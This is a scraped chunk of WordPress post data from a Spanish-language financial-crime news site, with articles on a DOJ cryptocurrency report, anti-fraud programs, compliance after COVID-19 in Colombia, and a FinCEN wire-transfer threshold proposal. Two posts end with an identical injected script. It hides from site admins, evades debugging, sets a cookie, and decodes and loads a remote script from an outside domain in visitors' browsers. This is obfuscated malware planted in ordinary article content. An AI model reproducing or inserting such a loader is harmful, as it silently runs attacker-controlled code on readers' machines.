https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-300x164.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-768x421.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis.png 1216w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/>\t\t\t\t\t\t\t\t\t\t\t<figcaption>Ejemplo de una transacci\u00f3n il\u00edcita a trav\u00e9s del an\u00e1lisis de blockchain<\/figcaption>\n\t\t\t\t\t\t\t\t\t\t<\/figure>\n\t\t<p><b><u>Investigaciones y procesamientos<\/u><\/b><\/p><p>A pesar de los muchos desaf\u00edos, el Departamento de Justicia ha investigado y procesado delincuentes que han usado criptomonedas para facilitar u ocultar sus actividades il\u00edcitas, EE.UU. ha entablado acciones contra personas y empresas que no han cumplido con sus obligaciones legales para evitar actividades il\u00edcitas. En casos particulares, el Departamento de Justicia ha procedido contra la propia criptomoneda il\u00edcita, confiscando esos activos virtuales y elimin\u00e1ndolos del flujo del comercio internacional, independientemente de su capacidad para identificar o aprehender a los actores que los utilizaron.<\/p><p>El Departamento de Justicia se\u00f1al\u00f3 que est\u00e1 comprometido a fortalecer sus asociaciones clave con la promoci\u00f3n de experiencia y conocimiento en materia de aplicaci\u00f3n de la ley; fomentando la cooperaci\u00f3n con las autoridades estatales; mejorando la cooperaci\u00f3n internacional; promoviendo una regulaci\u00f3n internacional integral y coherente; y llevando a cabo actividades de educaci\u00f3n y divulgaci\u00f3n del sector privado.<\/p><p>Para promover la seguridad todas las partes interesadas, desde la industria privada hasta los reguladores, funcionarios y usuarios individuales de criptomonedas, deber\u00e1n tomar medidas para garantizar que la criptomoneda no se utilice como plataforma para la ilegalidad. Se\u00f1ala el Departamento de Justicia que para que la criptomoneda adquiera su verdadero potencial transformador, es imperativo que se aborden estos riesgos.<\/p>","post_title":"Informe del DOJ sobre Criptomonedas: un marco de aplicaci\u00f3n","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"informe-del-doj-sobre-criptomonedas-un-marco-de-aplicacion","to_ping":"","pinged":"","post_modified":"2020-11-10 11:21:26","post_modified_gmt":"2020-11-10 15:21:26","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25320","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25317,"post_author":"16","post_date":"2020-11-10 09:49:27","post_date_gmt":"2020-11-10 13:49:27","post_content":"<p><b><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/5Steps-Small-10NOV2020.jpg\" alt=\"\" width=\"232\" height=\"300\" \/><\/b><\/p><p><b>Por Terry Luttrell, CAMS-Audit<\/b><\/p><p>A medida que 2020 llega a su fin, las empresas y\u00a0comunidades de todo el mundo no pueden negar los efectos de la pandemia de COVID-19. La devastaci\u00f3n financiera, as\u00ed como la p\u00e9rdida de vidas y el deterioro de la salud, han dejado su sello. Hist\u00f3ricamente, los desastres naturales de cualquier tipo han sacado a los estafadores a la luz para exponerlos ante lo que parece ser un grupo interminable de v\u00edctimas vulnerables.<\/p><p>La Oficina Federal de Investigaciones de EE.UU. (FBI) se\u00f1ala que cuanto m\u00e1s catastr\u00f3fico es el evento, m\u00e1s activos son los estafadores. COVID-19 es posiblemente el peor desastre mundial en d\u00e9cadas, y se ha detectado un aumento del fraude a gran escala. Si bien algunos de los esquemas de fraude no son nuevos, se han transformado para aprovecharse de comunidades que ya se enfrentan a una situaci\u00f3n sin precedentes. \u00bfC\u00f3mo se est\u00e1 moviendo su organizaci\u00f3n para fortalecer su programa antifraude para mitigar estos mayores riesgos?<\/p><p>Seg\u00fan las estad\u00edsticas hist\u00f3ricas de desastres, el Departamento de Justicia de EE.UU. espera que el fraude generalizado aumente entre un 10% y un 12% debido al COVID-19. En una encuesta reciente realizada por la Asociaci\u00f3n de Examinadores de Fraude Certificados, el 77% de los miembros encuestados dijo que ha observado un aumento en el nivel general de fraude, y un tercio se\u00f1al\u00f3 que este aumento ha sido significativo. Eso es notablemente m\u00e1s alto que en mayo de 2020, cuando el 68% de los encuestados hab\u00eda visto un aumento en el fraude, y una cuarta parte calific\u00f3 el aumento como significativo.<\/p><p>La pandemia ha creado la necesidad de que las organizaciones examinen sus programas antifraude para determinar si existe una mayor exposici\u00f3n al riesgo que se deba abordar. La ayuda financiera que generalmente sigue a los desastres conduce, lamentablemente, a un mayor riesgo de fraude. Cuantos m\u00e1s fondos para ingresan a la econom\u00eda, ya sea por huracanes, incendios forestales o una pandemia, mayor ser\u00e1 la presencia de delincuentes. Por lo tanto, si bien COVID-19 es el detonante actual de la tendencia al alza del fraude, las organizaciones deben posicionarse para evitar aumentos futuros. Como individuos, tenemos experiencia; sabemos qu\u00e9 hacer para disuadir el fraude y mitigar el riesgo. Sin embargo, combatir los riesgos y anticipar la evoluci\u00f3n de los riesgos en el entorno actual requiere un esfuerzo concertado de las organizaciones para reforzar sus programas antifraude.<\/p><p><strong><a style=\"background-color: #ffffff; color: #993300; text-decoration: underline;\" href=\"https:\/\/www.abrigo.com\/l\/5-steps-to-stronger-fraud-mitigation\/?utm_source=acfcs&utm_medium=affiliate&utm_campaign=october_whitepaper\" target=\"_blank\" rel=\"noopener noreferrer\">Descargue el documento completo<\/a><\/strong>\u00a0(en ingl\u00e9s) para conocer los 5 pasos para mejorar su programa de detecci\u00f3n de fraude durante la pandemia COVID-19.<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"5 pasos para un programa de detecci\u00f3n de fraude m\u00e1s s\u00f3lido","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"5-pasos-para-un-programa-de-deteccion-de-fraude-mas-solido","to_ping":"","pinged":"","post_modified":"2025-10-24 17:05:47","post_modified_gmt":"2025-10-24 21:05:47","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25317","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25307,"post_author":"16","post_date":"2020-11-02 16:18:07","post_date_gmt":"2020-11-02 20:18:07","post_content":"El coronavirus no discrimina y afecta a todos, independientemente de la clase social, situaci\u00f3n econ\u00f3mica, y un sin\u00famero de otros factores. Adem\u00e1s, lleg\u00f3 para quedarse por un largo tiempo y nos ha cambiado la forma de trabajo, cre\u00e1ndonos una \u201cnueva normalidad\u201d.\n\nEl COVID-19 ha generado la aparici\u00f3n de riesgos emergentes relacionados con toda clase de vulnerabilidades, desde las donaciones; hasta el aumento del contrabando, la adulteraci\u00f3n y la falsificaci\u00f3n de medicamentos e insumos m\u00e9dicos; el incremento de los delitos contra la administraci\u00f3n p\u00fablica como el fraude a subvenciones y la celebraci\u00f3n indebida de contratos; el aumento en la comisi\u00f3n de delitos contra el orden econ\u00f3mico social como el acaparamiento, el agiotaje y el p\u00e1nico econ\u00f3mico y el aumento en la comisi\u00f3n de delitos inform\u00e1ticos, solo por nombrar algunos\n\nhttps:\/\/youtu.be\/FJO5EozUmNU\n\n*Juan Pablo Rodr\u00edguez C\n\n**Ren\u00e9 M. Castro V\n\n Primero debemos ser claros en cuanto al t\u00e9rmino \u201ccompliance\u201d en Colombia, una aclaraci\u00f3n que tambi\u00e9n es v\u00e1lida para un amplio grupo de otros pa\u00edses (de Latinoam\u00e9rica y tambi\u00e9n fuera de la regi\u00f3n). La funci\u00f3n establecida en la legislaci\u00f3n colombiana de <b><u>Oficial de Cumplimiento<\/u><\/b> es dirigida al tema de lavado de activos y financiaci\u00f3n del terrorismo. De otra parte, la Ley 964 de 2005, conocida como la Ley del Mercado de Valores, establece para unos sectores espec\u00edficos de la econom\u00eda la obligatoriedad de contar con un <b><u>Contralor Normativo<\/u><\/b>, cuyas funciones se asemejan m\u00e1s a lo que se conoce como <b><u>Compliance Officer<\/u><\/b> en otros pa\u00edses.\n\nA partir de la Circular Externa 026 de 2008 la Superintendencia Financiera de Colombia se cre\u00f3 el <b><u>Sistema de Administraci\u00f3n del Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo (SARLAFT)<\/u><\/b> en el que se instituye al Oficial de Cumplimiento como parte de integral la estructura organizacional.\n\nAsimismo, la Circular Externa No. 100-000003 de 2016 de la Superintendencia de Sociedades, que reglamenta la Ley 1778 de 2016, conocida como la <b><u>Ley Antisoborno<\/u><\/b>, establece la obligatoriedad para algunos sectores econ\u00f3micos de nombrar un <b><u>Oficial de Cumplimiento<\/u><\/b>, que supervise el <b><u>Sistema de Gesti\u00f3n de Riesgo de Soborno Trasnacional.<\/u><\/b>\n\nDe la misma forma, la Circular Externa No. 100-000006 de 2016 de la Superintendencia de Sociedades, que regula el <b><u>Sistema de Autocontrol y Gesti\u00f3n del Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo (SAGRLAFT),<\/u><\/b> establece la obligatoriedad para algunos sectores econ\u00f3micos de nombrar un <b><u>Oficial de Cumplimiento<\/u><\/b>, que supervise el <b><u>Sistema de Gesti\u00f3n de Riesgo de Soborno Trasnacional<\/u><\/b>.\n\nPor lo anterior, tenemos en Colombia tres figuras:\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">1.       Oficial de Cumplimiento para SARLAFT (Sistema de Administraci\u00f3n de Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo).<\/p>\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">2.       Oficial de Cumplimiento para SARS (Sistema de Administraci\u00f3n de Riesgo de Soborno).<\/p>\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">3.       Contralor Normativo.<\/p>\nLas funciones de los casos mencionados se encuentran definidas en las normas respectivas, sin perder de vista que su alcance depende del supervisor y de los riesgos que debe contener, como es el caso del riesgo de lavado de activos y la financiaci\u00f3n del terrorismo; el riesgo de soborno y; los riesgos legales en las comisionistas de bolsa.\n\nEl coronavirus no discrimina y afecta a todos, independientemente de la clase social, situaci\u00f3n econ\u00f3mica, etc., adem\u00e1s, lleg\u00f3 para quedarse por un largo tiempo y nos ha cambiado la forma de trabajo, cre\u00e1ndonos una \u201cnueva normalidad\u201d, lo cual puede ser cotejado en los estudios cient\u00edficos sobre la materia realizados por la Universidad John Hopkins (1), el Instituto de Salud Global de Barcelona (2) y la Organizaci\u00f3n Mundial de la Salud (3).\n\nEl COVID-19 ha generado la aparici\u00f3n de riesgos emergentes relacionados con las donaciones; la necesidad de contar con modelos de riesgo diferenciales; y desde el punto de vista penal, el aumento del contrabando, la adulteraci\u00f3n y la falsificaci\u00f3n de medicamentos e insumos m\u00e9dicos; el aumento en los delitos contra la administraci\u00f3n p\u00fablica como el fraude a subvenciones y la celebraci\u00f3n indebida de contratos; el aumento en la comisi\u00f3n de delitos contra el orden econ\u00f3mico social como el acaparamiento, el agiotaje y el p\u00e1nico econ\u00f3mico y el aumento en la comisi\u00f3n de delitos inform\u00e1ticos.\n\nPasando al plano empresarial, y resaltando que no es el \u00fanico de los aspectos que debe tener en cuenta un <b><u>Oficial de Cumplimiento<\/u><\/b>, muchas organizaciones de todo el mundo ahora se ven obligadas a buscar formas creativas para enfrentar sus propios desaf\u00edos de administrar equipos descentralizados cuando el trabajo en casa o el distanciamiento social entran en acci\u00f3n, como es el caso de la protecci\u00f3n de datos y la privacidad de la informaci\u00f3n, ya que trabajar en forma remota genera varios riesgos que los profesionales de cumplimiento deben reconocer e intentar mitigar. En consecuencia, se presentan a continuaci\u00f3n los cuatro m\u00e1s importantes:\n<ol>\n \t<li>En primer lugar, los empleados pueden estar utilizando su propio equipo de tecnolog\u00eda de informaci\u00f3n que podr\u00eda compartir con otros miembros de la familia, quienes tambi\u00e9n est\u00e1n confinados en la misma casa. Esto aumenta la posibilidad de que los ni\u00f1os, que a menudo son m\u00e1s conocedores de tecnolog\u00eda de informaci\u00f3n, pero menos conscientes de los riesgos que sus padres, accedan a sitios web y material que no est\u00e1 permitido dentro de los l\u00edmites de la oficina y eludan o ignoran los protocolos de seguridad habituales.<\/li>\n \t<li>En segundo lugar, el equipo de tecnolog\u00eda puede ser viejo y no haber sido instalado regularmente con las \u00faltimas actualizaciones de seguridad que normalmente alertar\u00edan a los usuarios sobre posibles malware o detectar virus. Como resultado, los incidentes de ciberataques y violaciones de datos podr\u00edan aumentar a medida que aumenta el n\u00famero de correos electr\u00f3nicos sospechosos y estafas de phishing.<\/li>\n \t<li>En tercer lugar, las organizaciones pueden encontrarse confiando en aplicaciones, software y herramientas de colaboraci\u00f3n para video o teleconferencias, que en el pasado no quisieron adoptar debido a temores de seguridad inform\u00e1tica y de cumplimiento.<\/li>\n \t<li>Cuarto, en industrias altamente reguladas, como los servicios financieros, es especialmente importante que las organizaciones recopilen, almacenen y archiven todas las comunicaciones de los empleados para garantizar su cumplimiento y para su uso en cualquier investigaci\u00f3n futura potencial. Las funciones de cumplimiento deber\u00e1n encontrar una manera de lograr esto, incluso mientras la fuerza laboral pueda estar trabajando de forma remota y en diferentes plataformas y dispositivos.<\/li>\n<\/ol>\n Si una empresa se enfrenta una interrupci\u00f3n de la cadena de suministro o de las adquisiciones durante esta crisis, existe la posibilidad de que esta se vea presionada para involucrar a nuevos proveedores sin llevar a cabo el nivel adecuado de debida diligencia.\n\nDe los ejemplos mencionados, se pueden desprender las siguientes recomendaciones para los Oficiales de Cumplimiento:\n\n\u2022             Revisar todos los contratos de nuevos proveedores para garantizar que se incorporen los t\u00e9rminos legales apropiados.\n\n\u2022             Revisar las facturas y pagos de proveedores por cualquier se\u00f1al de alerta o anomal\u00edas, y monitorear la conducta para asegurarse de que cumpla con los requisitos reglamentarios y contractuales aplicables.\n\n\u2022             Aplicar un modelo de diligencia debida de terceros diferencial a las contrapartes de acuerdo con su nivel de riesgo.\n\n\u2022             Validar si es necesario la modificaci\u00f3n de pol\u00edticas, procedimientos y controles para responder a los desaf\u00edos de la pandemia.\n\n\u2022             Documentarse y comunicar tanto al interior de la organizaci\u00f3n como a sus contrapartes externas los cambios que se hayan realizado a las pol\u00edticas, procedimientos y controles respectivos.\n\n\u2022             Conservar los soportes documentales de la diligencia debida en una plataforma electr\u00f3nica o base de datos adecuada, para que el cumplimiento de los procedimientos pueda ser auditado posteriormente.\n\nPor \u00faltimo, el hecho de que la mayor parte del negocio funcione en forma remota no significa que no tengan que cumplir con las reglas, solo significa que este proceso podr\u00eda ser un poco m\u00e1s desafiante y lento, por lo que se debe contarse con un Plan de Continuidad del Negocio (ISO 223101 de 2012) en el que la funci\u00f3n del Oficial de Cumplimiento es vital a fin de validar que se lleven a cabo cambios que sean necesarios y garanticen que las funciones esenciales puedan continuar durante y despu\u00e9s de la pandemia.\n\n <b>*Juan Pablo Rodr\u00edguez C.<\/b>\n\nAbogado Penalista\n\nEscritor, conferencista y consultor internacional.\n\nCertified Lead Auditor y Lead Implementer en ISO 37001 Gesti\u00f3n Antisoborno, PECB, 2020\n\nCertified Professional in Anti-Money Laundering \u2013 CPAML de FIBA (Florida International Bankers Association).\n\nCertified on Governance, Risk Management and Compliance Professional (GRCP) y GRC Fundamentals de Open Compliance and Ethics Group (OCEG), 2016\n\nPresidente y Socio de RICS Management.\n\njrodriguez@ricsmanagement.com\n\n <b>**Ren\u00e9 M. Castro V.<\/b>\n\nContador P\u00fablico con Magister en Contabilidad y Auditor\u00eda de Gesti\u00f3n de la Universidad de Santiago de Chile.\n\nEscritor, conferencista y consultor internacional.\n\nCertified Trainer y Lead Compliance Manager en ISO 19600 Gesti\u00f3n de Cumplimiento, PECB, 2020\n\nCertified on Financial Services and Market Regulation, London School of Economics, (LSE), 2016\n\nCertified on Corporate Compliance and Ethics, New York University, 2015.\n\nVice-Presidente & Socio RICS Management\n\nrcastro@ricsmanagement.com\n\n <u>Referencias<\/u>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">1-        https:\/\/coronavirus.jhu.edu\/map.html<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">2-        https:\/\/www.isglobal.org\/covid-19-novedades-cientificas<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">3.         https:\/\/www.who.int\/es\/emergencies\/diseases\/novel-coronavirus-2019\/advice-for-public\/q-a-coronaviruses<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"El Compliance (Cumplimiento) en la nueva normalidad, durante y despu\u00e9s del Covid-19","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-compliance-cumplimiento-en-la-nueva-normalidad-durante-y-despues-del-covid-19","to_ping":"","pinged":"","post_modified":"2025-10-24 17:06:04","post_modified_gmt":"2025-10-24 21:06:04","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25307","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25304,"post_author":"16","post_date":"2020-11-02 15:17:00","post_date_gmt":"2020-11-02 19:17:00","post_content":"<p>Un cambio propuesto en las obligaciones ALD\/CFT en EE.UU. puede llegar a reducir el monto de las transacciones que obliga a enviar informaci\u00f3n sobre los remitentes y receptores de transferencias financieras internacionales a otras instituciones, lo que podr\u00eda agregar m\u00e1s carga de cumplimiento a los bancos que procesan dichos pagos.<\/p><p>FinCEN, la unidad de informaci\u00f3n financiera de EE.UU., y la Junta de la Reserva Federal est\u00e1n buscando comentarios sobre una enmienda que requerir\u00eda que las instituciones financieras recopilen, retengan y transmitan cierta informaci\u00f3n relacionada con transferencias internacionales y transferencias de fondos superiores a US$ 250.<\/p><p>Actualmente, bajo la Ley de Secreto Bancario de EE. UU., los bancos y las instituciones financieras no bancarias de EE.UU. obtienen, conservan y transmiten dicha informaci\u00f3n para las transacciones nacionales e internacionales de US$ 3.000 o m\u00e1s, incluyendo la identidad y la informaci\u00f3n de cuenta del remitente y el destinatario, a otras instituciones financieras a lo largo de la cadena de pago. Las denominadas regulaciones de las reglas de viaje est\u00e1n destinadas a ayudar a las agencias de ley y a los reguladores a investigar y procesar posteriormente las actividades il\u00edcitas mediante la preservaci\u00f3n de un rastro de informaci\u00f3n.<\/p><p>FinCEN y la Junta de la Reserva Federal, en la propuesta publicada el martes en el Registro Federal, sugieren mantener el umbral para transacciones nacionales en US$ 3.000.<\/p><p>La propuesta tambi\u00e9n aclar\u00f3 que la regla tambi\u00e9n se aplica a las transacciones que involucran monedas virtuales o digitales.<\/p><p>Los reguladores hab\u00edan se\u00f1alado que encontraron que transferencias electr\u00f3nicas internacionales por debajo del US$ 3.000 se estaban utilizando para facilitar el financiamiento del terrorismo, el tr\u00e1fico de narc\u00f3ticos y otras actividades il\u00edcitas. Las agencias dijeron que basaron su propuesta parcialmente en un an\u00e1lisis de datos de aproximadamente 2.000 reportes de operaciones sospechosas presentados por instituciones financieras a FinCEN entre 2016 y 2019 que estaban relacionados con posibles transferencias de fondos para el financiamiento del terrorismo.<\/p><p>FinCEN encontr\u00f3 que aproximadamente el 99% de las transacciones subyacentes de estos SAR comenzaron o terminaron fuera de EE. UU. y que los valores promedio y medios en d\u00f3lares de los fondos mencionados en los ROS eran de aproximadamente US$ 509 y US$ 255, respectivamente,\u00a0<a href=\"https:\/\/www.federalregister.gov\/documents\/2020\/10\/27\/2020-23756\/threshold-for-the-requirement-to-collect-retain-and-transmit-information-on-funds-transfers-and\" target=\"_blank\" rel=\"noopener noreferrer\">seg\u00fan la propuesta<\/a>.\u00a0<\/p><p>\u201cEs posible que algunas instituciones financieras no reconozcan o retengan registros de todas las actividades sospechosas por debajo del umbral de US$ 3.000 o el patr\u00f3n sospechoso no se hace visible hasta que se agreguen los registros\u201d, dijeron las agencias en la propuesta. \"Esto podr\u00eda impedir que las autoridades investiguen y mapeen las redes il\u00edcitas\".<\/p><p>El cambio de regla propuesto, para el cual las agencias piden al p\u00fablico que presente comentarios hasta el 27 de noviembre, aumentar\u00eda la carga de cumplimiento para los bancos y podr\u00eda encontrar resistencia de la industria, dijeron los observadores.<\/p><p>Esta nueva iniciativa podr\u00eda significar una carga importante para los bancos que terminar\u00eda encareciendo las transferencias internacionales de menor valor debido a que har\u00eda m\u00e1s caro la supervisi\u00f3n e incrementar\u00eda los costos de cumplimiento.<\/p><p>Sin embargo, las agencias de EE.UU. se\u00f1alaron que el cambio propuesto no deber\u00eda tener un gran impacto en el costo y la eficiencia del sistema de pago. Las agencias dijeron que algunas instituciones financieras ya estaban recopilando informaci\u00f3n sobre algunas de las transacciones por debajo del umbral actual para reportar transacciones sospechosas a FinCEN, o simplemente para mantener un solo conjunto de procesos para todas las transacciones.<\/p>","post_title":"EE.UU. propone bajar el umbral (de US$3.000 a US$250) para la transmisi\u00f3n de datos del remitente y destinatario","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"ee-uu-propone-bajar-el-umbral-de-us3-000-a-us250-para-la-transmision-de-datos-del-remitente-y-destinatario","to_ping":"","pinged":"","post_modified":"2020-11-02 15:19:59","post_modified_gmt":"2020-11-02 19:19:59","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25304","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"}],"next":false,"prev":true,"total_page":14},"paged":1,"column_class":"jeg_col_3o3","class":"epic_block_9"};</script> </div> </div> </div> </div> </div> </div> </section> <section class="has_eae_slider elementor-section elementor-top-section elementor-element elementor-element-a3c376b elementor-section-boxed elementor-section-height-default elementor-section-height-default" data-id="a3c376b" data-element_type="section"> <div class="elementor-container elementor-column-gap-default"> <div class="has_eae_slider elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-775b7a7" data-id="775b7a7" data-element_type="column"> <div class="elementor-widget-wrap elementor-element-populated"> <div class="elementor-element elementor-element-89994b6 elementor-widget elementor-widget-epic_archive_pagination_elementor" data-id="89994b6" data-element_type="widget" data-widget_type="epic_archive_pagination_elementor.default"> <div class="elementor-widget-container"> <div class="jeg_navigation jeg_pagination jeg_pagenav_2 jeg_aligncenter no_navtext no_pageinfo"> <span class="page_info">Page 14 of 110</span> <a class="page_nav prev" data-id="13" href="https://www.delitosfinancieros.org/category/noticias/page/13/"><span class="navtext">Previous</span></a> <a class='page_number' data-id='1' href='https://www.delitosfinancieros.org/category/noticias/'>1</a> <span class="page_number dots">…</span> <a class='page_number' data-id='13' href='https://www.delitosfinancieros.org/category/noticias/page/13/'>13</a> <span class='page_number active'>14</span> <a class='page_number' data-id='15' href='https://www.delitosfinancieros.org/category/noticias/page/15/'>15</a> <span class="page_number dots">…</span> <a class='page_number' data-id='110' href='https://www.delitosfinancieros.org/category/noticias/page/110/'>110</a> <a class="page_nav next" data-id="15" href="https://www.delitosfinancieros.org/category/noticias/page/15/"><span class="navtext">Next</span></a> </div> </div> </div> </div> </div> </div> </section> \n<p>Los bancos que eval\u00faan su riesgo de criptomonedas primero deben preguntarse si tienen alguna forma de identificar a los clientes actuales que usan criptomonedas.<\/p>\n\n\n\n<p>Algunos bancos pueden pensar que ninguno de sus clientes usa criptomonedas. De hecho, cuando la compa\u00f1\u00eda de investigaci\u00f3n de blockchain Chainalisys encuest\u00f3 a un grupo de profesionales de inversi\u00f3n hace un a\u00f1o, casi un tercio estim\u00f3 que ninguno de sus clientes realizaba transacciones con negocios de criptomonedas. Bancos como Wells Fargo han prohibido rotundamente a sus clientes enviar fondos a negocios de criptomonedas, lo que podr\u00eda llevarlos a creer que muy pocos o incluso ninguno de ellos lo est\u00e1n haciendo.<\/p>\n\n\n\n<p>Sin embargo, esto podr\u00eda no ser as\u00ed. Una encuesta reciente de la firma de consultor\u00eda financiera Cornerstone Advisors sugiere que el 15% de los estadounidenses ha comprado criptomonedas de alguna forma, y otro 11% dice que planea hacerlo en un futuro pr\u00f3ximo.<\/p>\n\n\n\n<p>Tambi\u00e9n sabemos por otras encuestas que es a\u00fan m\u00e1s probable que los consumidores m\u00e1s j\u00f3venes hayan comprado criptomonedas. Por lo tanto, parece improbable que cualquier banco con una base de clientes sustancial no tenga al menos algunos clientes que realicen transacciones con negocios de criptomonedas.<\/p>\n\n\n\n<p>Los bancos que informan una adopci\u00f3n nula de criptomonedas entre sus clientes probablemente no est\u00e1n obteniendo una imagen completa y podr\u00edan enfrentar problemas con los reguladores en el futuro.<\/p>\n\n\n\n<p>Si los bancos aceptan que al menos algunos de sus clientes probablemente est\u00e9n comprando criptomonedas, \u00bfc\u00f3mo adoptan un enfoque espec\u00edfico para administrar el riesgo asociado?<\/p>\n\n\n\n<p>El primer paso es conocer los intercambios de criptomonedas m\u00e1s populares. Los intercambios son las rampas principales de entrada y salida entre la criptomoneda y la moneda fiduciaria, y probablemente los lugares m\u00e1s comunes a los que sus clientes enviar\u00edan fondos para comprar criptomonedas. Los bancos necesitan crear un sistema para detectar intercambios en sus mensajes SWIFT, pagos ACH y transacciones con tarjeta de d\u00e9bito.<\/p>\n\n\n\n<p>Los principales intercambios de criptomonedas est\u00e1n en constante evoluci\u00f3n, por lo que los bancos tambi\u00e9n deben monitorearlos en tiempo real para que dicho programa sea efectivo.<\/p>\n\n\n\n<p>Si los bancos comenzaran a monitorear estas empresas en la actividad de sus clientes hoy, inevitablemente encontrar\u00edan transacciones relacionadas con las criptomonedas que no sab\u00edan que estaban sucediendo. A partir de ah\u00ed, deben evaluar el riesgo de esas transacciones en funci\u00f3n de sus pol\u00edticas actuales contra el lavado de dinero, verificando transacciones que sugieran una actividad sospechosa.<\/p>\n\n\n\n<p>A largo plazo, los bancos deber\u00e1n evaluar individualmente todos los intercambios con los que sus clientes realizan transacciones, as\u00ed como cualquier otro negocio de criptomonedas que los clientes est\u00e9n financiando desde sus cuentas bancarias.<\/p>\n\n\n\n<p>Para empezar, deben examinar el modelo comercial \u00fanico de cada intercambio, la calidad del programa de cumplimiento y la jurisdicci\u00f3n de operaci\u00f3n. Pero estos factores cualitativos no son suficientes por s\u00ed solos. Los bancos tambi\u00e9n deben evaluar la efectividad del cumplimiento de los intercambios midiendo su exposici\u00f3n a contrapartes riesgosas en otras partes del ecosistema de criptomonedas.<\/p>\n\n\n\n<p>Estas mediciones ser\u00edan la se\u00f1al m\u00e1s fuerte de si un banco debiera o no hacer comerciar con un negocio de criptomonedas, pero la mayor\u00eda de los bancos no pueden obtener estos datos por s\u00ed mismos, por lo general se pueden asociar con proveedores de datos confiables que tengan un conocimiento del ecosistema de criptomonedas.<\/p>\n\n\n\n<p>A medida que se sientan m\u00e1s c\u00f3modos con el espacio, los bancos tambi\u00e9n pueden trabajar para establecer relaciones con los equipos de cumplimiento en empresas de criptomonedas de renombre que sus clientes 